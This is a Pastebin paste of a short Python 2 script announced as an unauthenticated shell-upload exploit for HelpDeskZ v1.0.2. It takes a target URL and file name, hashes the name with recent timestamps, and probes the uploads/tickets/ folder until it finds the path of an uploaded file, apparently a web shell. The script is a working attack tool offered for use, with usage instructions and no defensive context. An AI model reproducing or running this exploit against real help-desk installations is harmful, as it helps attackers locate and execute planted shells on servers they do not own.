Advertisement
Guest User

Untitled

a guest
Jan 22nd, 2019
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.75 KB | None | 0 0
  1. import hashlib
  2. import time
  3. import sys
  4. import requests
  5.  
  6. print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
  7.  
  8. if len(sys.argv) < 4:
  9. print "Usage: {} [baseUrl] [nameOfUploadedFile] [fileExtension]".format(sys.argv[0])
  10. sys.exit(1)
  11.  
  12. helpdeskzBaseUrl = sys.argv[1]
  13. upload_url = helpdeskzBaseUrl + "uploads/tickets/"
  14. fileName = sys.argv[2]
  15. fileExt = sys.argv[3]
  16. currentTime = int(time.time())
  17.  
  18. for x in range(0, 900):
  19. plaintext = fileName + str(currentTime - x)
  20. md5hash = hashlib.md5(plaintext).hexdigest()
  21.  
  22. url = upload_url+md5hash+fileExt
  23. response = requests.head(url)
  24. if response.status_code == 200:
  25. print "found!"
  26. print url
  27. sys.exit(0)
  28.  
  29. print "Sorry, I did not find anything"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement